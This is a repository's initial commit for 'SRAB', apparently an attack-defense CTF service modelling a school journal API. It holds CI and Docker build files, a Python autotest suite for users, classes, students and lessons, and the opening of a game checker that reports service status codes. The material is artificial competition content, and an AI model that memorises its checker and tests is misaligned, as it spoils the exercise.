init here

This commit is contained in:
2025-11-26 21:32:41 +03:00
commit 33c97acade
91 changed files with 9155 additions and 0 deletions

7
.dockerignore Normal file
View File

@@ -0,0 +1,7 @@
*
!исх/**
!си/**
!карга.json
!wrapper/**
!frontend/**

5
.gitignore vendored Normal file
View File

@@ -0,0 +1,5 @@
/build
target/
*.sqlite
*.db
__pycache__

114
.gitlab-ci.yml Normal file
View File

@@ -0,0 +1,114 @@
image: ubuntu:25.10
stages:
- build
- test
- deploy
build:
stage: build
variables:
DEBIAN_FRONTEND: noninteractive
LANG: C.UTF-8
LC_ALL: C.UTF-8
cache:
key: "build-$CI_COMMIT_REF_SLUG"
paths:
- build/
policy: pull-push
before_script:
- apt-get update
- apt-get install -y --no-install-recommends clang build-essential sqlite3 libsqlite3-dev wget ca-certificates
- update-ca-certificates || true
- wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga
- chmod +x /usr/local/bin/carga
script:
- I_AM_SCARED_PLEASE_TALK_TO_ME=true carga собери
artifacts:
name: "target-$CI_COMMIT_REF_SLUG"
paths:
- build/target.exe
build_wrapper:
stage: build
image: rust:1.90-bookworm
variables:
CARGO_HOME: "$CI_PROJECT_DIR/.cargo"
cache:
key: "cargo-$CI_COMMIT_REF_SLUG"
paths:
- .cargo/registry
- .cargo/git
- wrapper/target
policy: pull-push
script:
- cd wrapper
- cargo build --release
artifacts:
name: "wrapper-$CI_COMMIT_REF_SLUG"
paths:
- wrapper/target/release/wrapper
test:
stage: test
dependencies:
- build
- build_wrapper
variables:
DEBIAN_FRONTEND: noninteractive
LANG: C.UTF-8
LC_ALL: C.UTF-8
before_script:
- apt-get update
- apt-get install -y --no-install-recommends python3 python3-pip
- python3 -m pip install --break-system-packages requests
script:
- export SERVER_PATH="$(pwd)/wrapper/target/release/wrapper"
- export BIN_PATH="$(pwd)/build/target.exe"
- python3 ./autotest/main.py -s
pages:
stage: deploy
image: node:20
script:
- npm init -y
- npm install swagger-ui-dist
- mkdir -p public
- cp -r node_modules/swagger-ui-dist/* public/
- cp ./openapi/srab.yaml public/
- |
cat > public/index.html <<'EOF'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>SRAB API Documentation</title>
<link rel="stylesheet" href="./swagger-ui.css">
<script src="./swagger-ui-bundle.js" crossorigin></script>
<script src="./swagger-ui-standalone-preset.js" crossorigin></script>
</head>
<body>
<div id="swagger-ui"></div>
<script>
window.onload = () => {
window.ui = SwaggerUIBundle({
url: "./srab.yaml",
dom_id: '#swagger-ui',
deepLinking: true,
presets: [SwaggerUIBundle.presets.apis, SwaggerUIStandalonePreset],
layout: "BaseLayout"
});
};
</script>
</body>
</html>
EOF
artifacts:
paths:
- public
only:
refs:
- master
changes:
- openapi/**/*
- .gitlab-ci.yml

6
.vscode/settings.json vendored Normal file
View File

@@ -0,0 +1,6 @@
{
"[trivil]": {
"editor.autoIndent": "advanced",
"editor.unicodeHighlight.ambiguousCharacters": false
}
}

31
Dockerfile Normal file
View File

@@ -0,0 +1,31 @@
FROM rust:1.90-bookworm AS wrapper_builder
COPY wrapper/ /app
WORKDIR /app
RUN cargo build --release
FROM ubuntu:25.10
RUN apt-get update && \
apt-get install -y clang build-essential sqlite3 libsqlite3-dev wget
RUN wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga && \
chmod +x /usr/local/bin/carga
WORKDIR /app
COPY карга.json ./
COPY исх/ ./исх
COPY си/ ./си
RUN --mount=type=cache,target=/app/build carga собери && \
cp /app/build/target.exe /app/target.exe
COPY --from=wrapper_builder /app/target/release/wrapper /app/wrapper
COPY frontend /app/frontend
ENV BIN_PATH=/app/target.exe
ENV STATIC_PATH=/app/frontend
EXPOSE 1337
CMD ["/app/wrapper"]

0
autotest/__init__.py Normal file
View File

View File

View File

@@ -0,0 +1,25 @@
TEST_NAME = "users:create teacher"
def run(context) -> None:
payload = {
context.K_FIRST_NAME: context.teacher_first,
context.K_LAST_NAME: context.teacher_last,
context.K_MIDDLE_NAME: context.teacher_middle,
context.K_EDUCATION: context.teacher_education,
context.K_PASSWORD: context.teacher_password,
context.K_CONFIRM_PASSWORD: context.teacher_password,
}
status, body, _ = context.send_request("POST", "/api/users", body=payload)
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
user_id = context.query_single_value(
"SELECT id FROM users WHERE username = ?",
(context.teacher_username,),
)
context.teacher_user_id = user_id
teacher_id = context.query_single_value(
"SELECT id FROM teachers WHERE user_id = ?",
(user_id,),
)
context.expect(teacher_id > 0, "teacher id must be positive")
context.teacher_id = teacher_id

View File

@@ -0,0 +1,18 @@
TEST_NAME = "users:create mismatch"
def run(context) -> None:
payload = {
context.K_FIRST_NAME: "Bob",
context.K_LAST_NAME: "Doe",
context.K_MIDDLE_NAME: "Ray",
context.K_EDUCATION: "History",
context.K_PASSWORD: "OnePass",
context.K_CONFIRM_PASSWORD: "OtherPass",
}
status, body, _ = context.send_request("POST", "/api/users", body=payload)
context.expect(status == 400, f"expected 400, got {status}")
context.expect(
context.MESSAGE_PASSWORD_MISMATCH in body,
"expected mismatch message",
)

View File

@@ -0,0 +1,18 @@
TEST_NAME = "users:login success"
def run(context) -> None:
payload = {
context.K_USERNAME: context.teacher_username,
context.K_PASSWORD: context.teacher_password,
}
status, body, _ = context.send_request(
"POST",
"/api/users/login",
body=payload,
)
context.expect(status == 200, f"expected 200, got {status}")
context.expect(
body == context.MESSAGE_LOGIN_OK,
f"unexpected login body: {body!r}",
)

View File

@@ -0,0 +1,14 @@
TEST_NAME = "users:login failure"
def run(context) -> None:
payload = {
context.K_USERNAME: context.teacher_username,
context.K_PASSWORD: "WrongPass",
}
status, _, _ = context.send_request(
"POST",
"/api/users/login",
body=payload,
)
context.expect(status == 401, f"expected 401, got {status}")

View File

@@ -0,0 +1,16 @@
TEST_NAME = "users:change password"
def run(context) -> None:
payload = {context.K_NEW_PASSWORD: context.teacher_password_new}
status, body, _ = context.send_request(
"PUT",
"/api/users/password",
body=payload,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 204, f"expected 204, got {status}, body={body!r}")
context.teacher_password = context.teacher_password_new

View File

@@ -0,0 +1,18 @@
TEST_NAME = "users:login with new password"
def run(context) -> None:
payload = {
context.K_USERNAME: context.teacher_username,
context.K_PASSWORD: context.teacher_password,
}
status, body, _ = context.send_request(
"POST",
"/api/users/login",
body=payload,
)
context.expect(status == 200, f"expected 200, got {status}")
context.expect(
body == context.MESSAGE_LOGIN_OK,
f"unexpected login body: {body!r}",
)

View File

@@ -0,0 +1,9 @@
TEST_NAME = "teachers:auth required"
def run(context) -> None:
status, _, _ = context.send_request("GET", "/api/classes")
context.expect(status == 401, f"expected 401, got {status}")
payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"}
status, _, _ = context.send_request("POST", "/api/classes", body=payload)
context.expect(status == 401, f"expected 401, got {status}")

View File

@@ -0,0 +1,31 @@
import json
TEST_NAME = "teachers:create class"
def run(context) -> None:
payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"}
status, body, _ = context.send_request(
"POST",
"/api/classes",
body=payload,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
data = json.loads(body)
context.class_id = int(data[context.K_IDENTIFIER])
context.expect(
data[context.K_CLASS_NUMBER] == payload[context.K_CLASS_NUMBER],
"class number mismatch",
)
context.expect(
data[context.K_CLASS_LETTER] == payload[context.K_CLASS_LETTER],
"class letter mismatch",
)
context.expect(
int(data[context.K_CREATOR]) > 0,
"creator id must be positive",
)

View File

@@ -0,0 +1,24 @@
import json
TEST_NAME = "teachers:list classes"
def run(context) -> None:
status, body, _ = context.send_request(
"GET",
"/api/classes",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200, got {status}")
data = json.loads(body)
entries = data.get(context.K_CLASSES, [])
context.expect(
any(
int(item[context.K_IDENTIFIER]) == context.class_id
for item in entries
),
"class not listed",
)

View File

@@ -0,0 +1,19 @@
import json
TEST_NAME = "teachers:create extra class"
def run(context) -> None:
payload = {context.K_CLASS_NUMBER: 6, context.K_CLASS_LETTER: "B"}
status, body, _ = context.send_request(
"POST",
"/api/classes",
body=payload,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}")
data = json.loads(body)
context.class_two_id = int(data[context.K_IDENTIFIER])

View File

@@ -0,0 +1,27 @@
TEST_NAME = "teachers:delete extra class"
def run(context) -> None:
path = f"/api/classes/{context.class_two_id}"
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 204, f"expected 204, got {status}")
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 404,
f"expected 404 on repeated delete, got {status}",
)
context.class_two_id = None

View File

@@ -0,0 +1,33 @@
TEST_NAME = "students:create student"
def run(context) -> None:
status, _, _ = context.send_request("POST", "/api/students", body={})
context.expect(status == 401, f"expected 401, got {status}")
payload = {
context.K_FIRST_NAME: "Charlie",
context.K_LAST_NAME: "Stone",
context.K_MIDDLE_NAME: "Lee",
context.K_PASSWORD: "Student42",
context.K_CONFIRM_PASSWORD: "Student42",
context.K_SNILS: "00011122233",
context.K_PASSPORT: "AB1234567",
}
status, body, _ = context.send_request(
"POST",
"/api/students",
body=payload,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
context.student_one_id = context.query_single_value(
"SELECT id FROM students WHERE snils = ?",
(payload[context.K_SNILS],),
)
context.student_one_username = (
f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}"
)
context.student_one_password = payload[context.K_PASSWORD]

View File

@@ -0,0 +1,31 @@
TEST_NAME = "students:create second student"
def run(context) -> None:
payload = {
context.K_FIRST_NAME: "Daisy",
context.K_LAST_NAME: "King",
context.K_MIDDLE_NAME: "May",
context.K_PASSWORD: "Student84",
context.K_CONFIRM_PASSWORD: "Student84",
context.K_SNILS: "99988877766",
context.K_PASSPORT: "CD7654321",
}
status, body, _ = context.send_request(
"POST",
"/api/students",
body=payload,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
context.student_two_id = context.query_single_value(
"SELECT id FROM students WHERE snils = ?",
(payload[context.K_SNILS],),
)
context.student_two_username = (
f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}"
)
context.student_two_password = payload[context.K_PASSWORD]

View File

@@ -0,0 +1,32 @@
TEST_NAME = "teachers:add student to class"
def run(context) -> None:
path = f"/api/classes/{context.class_id}/students/{context.student_two_id}"
status, _, _ = context.send_request("POST", path)
context.expect(status == 401, f"expected 401, got {status}")
status, _, _ = context.send_request(
"POST",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}")
invalid_path = (
f"/api/classes/{context.class_id + 999}/students/"
f"{context.student_two_id}"
)
status, _, _ = context.send_request(
"POST",
invalid_path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 403,
f"expected 403 for foreign class, got {status}",
)

View File

@@ -0,0 +1,31 @@
import json
TEST_NAME = "students:list"
def run(context) -> None:
status, _, _ = context.send_request("GET", "/api/students")
context.expect(status == 401, f"expected 401, got {status}")
status, body, _ = context.send_request(
"GET",
"/api/students",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200, got {status}")
data = json.loads(body)
students = data.get("ученики", [])
ids = {int(item[context.K_IDENTIFIER]) for item in students}
context.expect(
context.student_one_id in ids,
"first student missing from list",
)
context.expect(
context.student_two_id in ids,
"second student missing from list",
)

View File

@@ -0,0 +1,48 @@
import json
TEST_NAME = "students:get one"
def run(context) -> None:
path = f"/api/students/{context.student_one_id}"
status, _, _ = context.send_request("GET", path)
context.expect(status == 401, f"expected 401, got {status}")
status, body, _ = context.send_request(
"GET",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200, got {status}")
data = json.loads(body)
context.expect(
int(data[context.K_IDENTIFIER]) == context.student_one_id,
"unexpected student id",
)
context.expect(
data.get(context.K_FIRST_NAME),
"missing student first name",
)
context.expect(
data.get(context.K_LAST_NAME),
"missing student last name",
)
context.expect(
data.get(context.K_USERNAME),
"missing student username",
)
missing_path = f"/api/students/{context.student_two_id + 999}"
status, _, _ = context.send_request(
"GET",
missing_path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 404, f"expected 404, got {status}")

View File

@@ -0,0 +1,39 @@
TEST_NAME = "students:delete"
def run(context) -> None:
path = f"/api/students/{context.student_one_id}"
status, _, _ = context.send_request("DELETE", path)
context.expect(status == 401, f"expected 401, got {status}")
status, _, _ = context.send_request(
"DELETE",
f"/api/students/{context.student_one_id + 999}",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 404, f"expected 404, got {status}")
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 204, f"expected 204, got {status}")
status, _, _ = context.send_request(
"GET",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 404, f"expected 404 after delete, got {status}")
context.student_one_id = None

View File

@@ -0,0 +1,86 @@
import json
TEST_NAME = "lessons:create"
def run(context) -> None:
path = f"/api/classes/{context.class_id}/lessons"
payload_primary = {
"дата": "2025-09-01",
"название": "Алгебра",
"домашнее задание": "Упражнения 1-3",
}
status, _, _ = context.send_request("POST", path, body=payload_primary)
context.expect(status == 401, f"expected 401, got {status}")
status, _, _ = context.send_request(
"POST",
f"/api/classes/{context.class_id + 999}/lessons",
body=payload_primary,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 403,
f"expected 403 for foreign class, got {status}",
)
status, body, _ = context.send_request(
"POST",
path,
body=payload_primary,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 201, f"expected 201, got {status}, body={body!r}")
data = json.loads(body)
context.lesson_first_id = int(data[context.K_IDENTIFIER])
context.lesson_first_date = payload_primary["дата"]
context.lesson_first_title = payload_primary["название"]
context.expect(
int(data["идентификатор класса"]) == context.class_id,
"lesson class mismatch",
)
context.expect(
data["название"] == payload_primary["название"],
"lesson title mismatch",
)
context.expect(
data["дата"] == payload_primary["дата"],
"lesson date mismatch",
)
payload_secondary = {
"дата урока": "2025-09-02",
"тема": "Геометрия",
"домашка": "Читать параграф 4",
}
status, body, _ = context.send_request(
"POST",
path,
body=payload_secondary,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 201,
f"expected 201 for second lesson, got {status}",
)
data = json.loads(body)
context.lesson_second_id = int(data[context.K_IDENTIFIER])
context.lesson_second_date = payload_secondary["дата урока"]
context.lesson_second_title = payload_secondary["тема"]
context.expect(
data["домашнее задание"] == payload_secondary["домашка"],
"secondary homework mismatch",
)

View File

@@ -0,0 +1,80 @@
import json
TEST_NAME = "lessons:list"
def run(context) -> None:
base_path = f"/api/classes/{context.class_id}/lessons"
status, _, _ = context.send_request("GET", base_path)
context.expect(status == 401, f"expected 401, got {status}")
status, body, _ = context.send_request(
"GET",
base_path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200, got {status}")
data = json.loads(body)
lessons = data.get("уроки", [])
context.expect(len(lessons) >= 2, "expected at least two lessons")
def find_lesson(entry_id: int):
for item in lessons:
if int(item[context.K_IDENTIFIER]) == entry_id:
return item
return None
first_entry = find_lesson(context.lesson_first_id)
context.expect(first_entry is not None, "first lesson missing")
context.expect(
first_entry.get("название") == context.lesson_first_title,
"first lesson title mismatch",
)
filter_path = (
f"/api/classes/{context.class_id}/lessons/date/"
f"{context.lesson_first_date}"
)
status, body, _ = context.send_request(
"GET",
filter_path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200 for filter, got {status}")
filtered = json.loads(body).get("уроки", [])
context.expect(
len(filtered) == 1,
f"expected single lesson in filter, got {len(filtered)}",
)
context.expect(
int(filtered[0][context.K_IDENTIFIER]) == context.lesson_first_id,
"filter returned unexpected lesson",
)
student_headers = context.make_auth(
context.student_two_username,
context.student_two_password,
)
status, body, _ = context.send_request(
"GET",
base_path,
headers=student_headers,
)
context.expect(status == 200, f"expected 200 for student, got {status}")
student_view = json.loads(body).get("уроки", [])
context.expect(
any(
int(item[context.K_IDENTIFIER]) == context.lesson_second_id
for item in student_view
),
"student view missing lesson",
)

View File

@@ -0,0 +1,81 @@
import json
TEST_NAME = "lessons:delete"
def run(context) -> None:
path = f"/api/classes/{context.class_id}/lessons/{context.lesson_first_id}"
status, _, _ = context.send_request("DELETE", path)
context.expect(status == 401, f"expected 401, got {status}")
status, _, _ = context.send_request(
"DELETE",
f"/api/classes/{context.class_id + 999}/lessons/"
f"{context.lesson_first_id}",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 403,
f"expected 403 for foreign class, got {status}",
)
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 204, f"expected 204, got {status}")
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 404, f"expected 404 after delete, got {status}")
filter_path = (
f"/api/classes/{context.class_id}/lessons/date/"
f"{context.lesson_first_date}"
)
status, body, _ = context.send_request(
"GET",
filter_path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200 for filter, got {status}")
filtered = json.loads(body).get("уроки", [])
context.expect(len(filtered) == 0, "filter should be empty after delete")
status, body, _ = context.send_request(
"GET",
f"/api/classes/{context.class_id}/lessons",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 200, f"expected 200 for list, got {status}")
remaining = json.loads(body).get("уроки", [])
context.expect(
any(
int(item[context.K_IDENTIFIER]) == context.lesson_second_id
for item in remaining
),
"second lesson missing after delete",
)
context.lesson_first_id = None

View File

@@ -0,0 +1,55 @@
TEST_NAME = "teachers:remove student from class"
def run(context) -> None:
path = f"/api/classes/{context.class_id}/students/{context.student_two_id}"
status, _, _ = context.send_request("DELETE", path)
context.expect(status == 401, f"expected 401, got {status}")
status, _, _ = context.send_request(
"DELETE",
f"/api/classes/{context.class_id + 999}/students/"
f"{context.student_two_id}",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 403,
f"expected 403 for foreign class, got {status}",
)
status, _, _ = context.send_request(
"DELETE",
f"/api/classes/{context.class_id}/students/"
f"{context.student_two_id + 999}",
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(
status == 404,
f"expected 404 for foreign student, got {status}",
)
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 204, f"expected 204, got {status}")
status, _, _ = context.send_request(
"DELETE",
path,
headers=context.make_auth(
context.teacher_username,
context.teacher_password,
),
)
context.expect(status == 404, f"expected 404 after removal, got {status}")

255
autotest/main.py Normal file
View File

@@ -0,0 +1,255 @@
#!/usr/bin/env python3
import http.client
import importlib
import json
import os
import socket
import sqlite3
import subprocess
import sys
import time
import argparse
from pathlib import Path
import traceback
ROOT = Path(__file__).resolve().parents[1]
DB_PATH = ROOT / "var" / "srab.db"
SERVER_PATH = os.environ.get("SERVER_PATH", ROOT / "build" / "target.exe")
HOST = "127.0.0.1"
PORT = 1337
if str(ROOT) not in sys.path:
sys.path.insert(0, str(ROOT))
K_FIRST_NAME = "имя"
K_LAST_NAME = "фамилия"
K_MIDDLE_NAME = "отчество"
K_EDUCATION = "образование"
K_PASSWORD = "пароль"
K_CONFIRM_PASSWORD = "повтор пароля"
K_NEW_PASSWORD = "новый пароль"
K_SNILS = "снилс"
K_PASSPORT = "паспорт"
K_CLASS_NUMBER = "номер"
K_CLASS_LETTER = "буква"
K_CLASSES = "классы"
K_IDENTIFIER = "идентификатор"
K_CREATOR = "создатель"
K_USERNAME = "имя пользователя"
MESSAGE_PASSWORD_MISMATCH = "Пароли не совпадают."
MESSAGE_LOGIN_OK = "Рады видеть вас снова :3"
CASE_PACKAGE = "autotest.cases"
CASE_MODULES = [
"case_01_users_create_teacher",
"case_02_users_create_mismatch",
"case_03_users_login_success",
"case_04_users_login_failure",
"case_05_users_change_password",
"case_06_users_login_with_new_password",
"case_07_teachers_auth_required",
"case_08_teachers_create_class",
"case_09_teachers_list_classes",
"case_10_teachers_create_extra_class",
"case_11_teachers_delete_extra_class",
"case_12_students_create_student",
"case_13_students_create_second_student",
"case_14_teachers_add_student_to_class",
"case_15_students_list",
"case_16_students_get",
"case_17_students_delete",
"case_18_lessons_teacher_add",
"case_19_lessons_list",
"case_20_lessons_teacher_delete",
"case_21_teachers_remove_student_from_class",
]
class TestContext:
def __init__(self) -> None:
self.teacher_first = "Alice"
self.teacher_last = "Smith"
self.teacher_middle = "Ann"
self.teacher_education = "Math"
self.teacher_password_initial = "Secret42"
self.teacher_password_new = "Secret99"
self.teacher_password = self.teacher_password_initial
self.teacher_username = f"{self.teacher_first}.{self.teacher_last}"
self.class_id = None
self.class_two_id = None
self.student_one_id = None
self.student_two_id = None
self.teacher_id = None
self.teacher_user_id = None
self.lesson_first_id = None
self.lesson_first_date = None
self.lesson_first_title = None
self.lesson_second_id = None
self.lesson_second_date = None
self.lesson_second_title = None
self.student_one_username = None
self.student_one_password = None
self.student_two_username = None
self.student_two_password = None
self.K_FIRST_NAME = K_FIRST_NAME
self.K_LAST_NAME = K_LAST_NAME
self.K_MIDDLE_NAME = K_MIDDLE_NAME
self.K_EDUCATION = K_EDUCATION
self.K_PASSWORD = K_PASSWORD
self.K_CONFIRM_PASSWORD = K_CONFIRM_PASSWORD
self.K_NEW_PASSWORD = K_NEW_PASSWORD
self.K_SNILS = K_SNILS
self.K_PASSPORT = K_PASSPORT
self.K_CLASS_NUMBER = K_CLASS_NUMBER
self.K_CLASS_LETTER = K_CLASS_LETTER
self.K_CLASSES = K_CLASSES
self.K_IDENTIFIER = K_IDENTIFIER
self.K_CREATOR = K_CREATOR
self.K_USERNAME = K_USERNAME
self.MESSAGE_PASSWORD_MISMATCH = MESSAGE_PASSWORD_MISMATCH
self.MESSAGE_LOGIN_OK = MESSAGE_LOGIN_OK
def expect(self, condition: bool, message: str) -> None:
expect(condition, message)
def send_request(self, method: str, path: str, *, body=None, headers=None):
return send_request(method, path, body=body, headers=headers)
def query_single_value(self, sql: str, params) -> int:
return query_single_value(sql, params)
def make_auth(self, username: str, password: str) -> dict:
return make_auth(username, password)
def remove_database() -> None:
if DB_PATH.exists():
DB_PATH.unlink()
def start_server(silent) -> subprocess.Popen:
out = subprocess.DEVNULL if silent else None
return subprocess.Popen(
[str(SERVER_PATH)],
cwd=str(ROOT),
stdout=out,
stderr=out,
)
def wait_for_server(timeout: float = 10.0) -> None:
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection((HOST, PORT), timeout=0.25):
return
except OSError:
time.sleep(0.05)
raise RuntimeError("server did not accept connections")
def stop_server(proc: subprocess.Popen) -> None:
if proc.poll() is not None:
return
proc.terminate()
try:
proc.wait(timeout=2)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=2)
def expect(condition: bool, message: str) -> None:
if not condition:
raise AssertionError(message)
def make_auth(username: str, password: str) -> dict:
return {"Authorization": f"Basic {username} {password}"}
def send_request(method: str, path: str, *, body=None, headers=None):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
try:
data = None
hdrs = {} if headers is None else dict(headers)
if body is not None:
if isinstance(body, (dict, list)):
data = json.dumps(body, ensure_ascii=False).encode("utf-8")
hdrs.setdefault(
"Content-Type",
"application/json; charset=utf-8",
)
elif isinstance(body, str):
data = body.encode("utf-8")
else:
data = body
conn.request(method, path, body=data, headers=hdrs)
response = conn.getresponse()
payload = response.read()
text = payload.decode("utf-8") if payload else ""
return response.status, text, dict(response.getheaders())
finally:
conn.close()
def query_single_value(sql: str, params) -> int:
with sqlite3.connect(DB_PATH) as conn:
conn.row_factory = sqlite3.Row
row = conn.execute(sql, params).fetchone()
expect(row is not None, f"query returned no rows: {sql!r} {params!r}")
return int(row["id"])
def load_cases():
modules = []
for name in CASE_MODULES:
module = importlib.import_module(f"{CASE_PACKAGE}.{name}")
modules.append(module)
return modules
def run_tests() -> None:
context = TestContext()
for module in load_cases():
step_name = getattr(module, "TEST_NAME", module.__name__)
print(f"[step] {step_name}")
try:
module.run(context)
except Exception:
print(f"Test '{step_name}' run failed")
print(traceback.format_exc())
sys.exit(1)
print("[OK] All steps passed")
def main() -> None:
parser = argparse.ArgumentParser(description="SRAB automatic test suit.")
parser.add_argument(
"-s",
"--suppress",
default=False,
action="store_true",
help="Suppress server output"
)
args = parser.parse_args()
remove_database()
server = start_server(args.suppress)
try:
wait_for_server()
run_tests()
finally:
stop_server(server)
if __name__ == "__main__":
main()

742
checker/checker.py Normal file
View File

@@ -0,0 +1,742 @@
#!/usr/bin/python3
import errno
import hashlib
import http.client
import json
import random
import socket
import string
import sys
import traceback
PORT = 1337
TIMEOUT = 3.0
K_FIRST_NAME = "имя"
K_LAST_NAME = "фамилия"
K_MIDDLE_NAME = "отчество"
K_EDUCATION = "образование"
K_PASSWORD = "пароль"
K_CONFIRM_PASSWORD = "повтор пароля"
K_NEW_PASSWORD = "новый пароль"
K_SNILS = "снилс"
K_PASSPORT = "паспорт"
K_CLASS_NUMBER = "номер"
K_CLASS_LETTER = "буква"
K_CLASSES = "классы"
K_IDENTIFIER = "идентификатор"
K_CREATOR = "создатель"
K_USERNAME = "имя пользователя"
K_LESSONS = "уроки"
K_LESSON_DATE = "дата"
K_LESSON_TITLE = "название"
K_LESSON_HOMEWORK = "домашнее задание"
LOGIN_SUCCESS = "Рады видеть вас снова :3"
TEACHER_FIRST_NAMES = [
"Анна",
"Мария",
"Ольга",
"Елена",
"Светлана",
"Татьяна",
"Юлия",
"Вера",
"Алёна",
"Наталья",
]
TEACHER_LAST_NAMES = [
"Иванова",
"Петрова",
"Сидорова",
"Федорова",
"Кузнецова",
"Попова",
"Соколова",
"Павлова",
"Зайцева",
"Орлова",
]
TEACHER_MIDDLE_NAMES = [
"Александровна",
"Сергеевна",
"Игоревна",
"Юрьевна",
"Владимировна",
"Николаевна",
"Павловна",
"Степановна",
"Олеговна",
"Георгиевна",
]
TEACHER_EDUCATIONS = [
"Математика",
"Физика",
"Химия",
"История",
"Биология",
"География",
"Литература",
"Информатика",
]
STUDENT_FIRST_NAMES = [
"Артём",
"Борис",
"Виктория",
"Глеб",
"Дарья",
"Егор",
"Злата",
"Илья",
"Кира",
"Лев",
"Маргарита",
"Никита",
]
STUDENT_LAST_NAMES = [
"Алексеев",
"Белов",
"Васильев",
"Громов",
"Демидов",
"Ершов",
"Журавлёв",
"Зуев",
"Исаев",
"Калинин",
"Лукин",
"Миронов",
]
STUDENT_MIDDLE_NAMES = [
"Андреевич",
"Борисович",
"Владимирович",
"Геннадьевич",
"Дмитриевич",
"Евгеньевич",
"Иванович",
"Константинович",
"Львович",
"Михайлович",
]
LESSON_TOPICS = [
"Алгебра",
"Геометрия",
"Физика",
"Химия",
"Биология",
"История",
"Информатика",
"Русский язык",
]
HOMEWORK_PHRASES = [
"Решить упражнения {token} в тетради.",
"Подготовить сообщение по теме {token}.",
"Прочитать параграф {token} и сделать конспект.",
"Собрать презентацию {token}.",
]
PASSWORD_WORDS = [
"Секрет",
"Пароль",
"Шифр",
"Тайна",
"Загадка",
"Форт",
]
CLASS_LETTERS = list("АБВГД")
_ERR_HOSTDOWN = getattr(errno, "EHOSTDOWN", None)
DOWN_ERRNOS = {
value
for value in (
errno.ECONNREFUSED,
errno.EHOSTUNREACH,
errno.ENETUNREACH,
_ERR_HOSTDOWN,
)
if value is not None
}
DEBUG = True
def service_up():
print("[service is worked] - 101")
exit(101)
def service_corrupt():
print("[service is corrupt] - 102")
exit(102)
def service_mumble():
print("[service is mumble] - 103")
exit(103)
def service_down():
print("[service is down] - 104")
exit(104)
def debug(message):
if DEBUG:
print(f"[debug] {message}", file=sys.stderr)
class CheckerError(Exception):
def __init__(self, verdict, message):
super().__init__(message)
self.verdict = verdict
class ApiClient:
def __init__(self, host, port=PORT):
self.host = host
self.port = port
def request(self, method, path, *, json_body=None, headers=None):
if not path.startswith("/"):
path = "/" + path
hdrs = {} if headers is None else dict(headers)
data = None
if json_body is not None:
data = json.dumps(json_body, ensure_ascii=False).encode("utf-8")
hdrs.setdefault(
"Content-Type",
"application/json; charset=utf-8",
)
conn = http.client.HTTPConnection(
self.host,
self.port,
timeout=TIMEOUT,
)
try:
conn.request(method, path, body=data, headers=hdrs)
response = conn.getresponse()
payload = response.read()
text = payload.decode("utf-8", "ignore")
return response.status, text, dict(response.getheaders())
except socket.timeout as exc:
raise CheckerError(service_mumble, "request timeout") from exc
except OSError as exc:
err_no = exc.errno
if err_no in DOWN_ERRNOS:
raise CheckerError(
service_down,
f"connection error: {exc}",
) from exc
if err_no == errno.ECONNRESET:
raise CheckerError(
service_mumble,
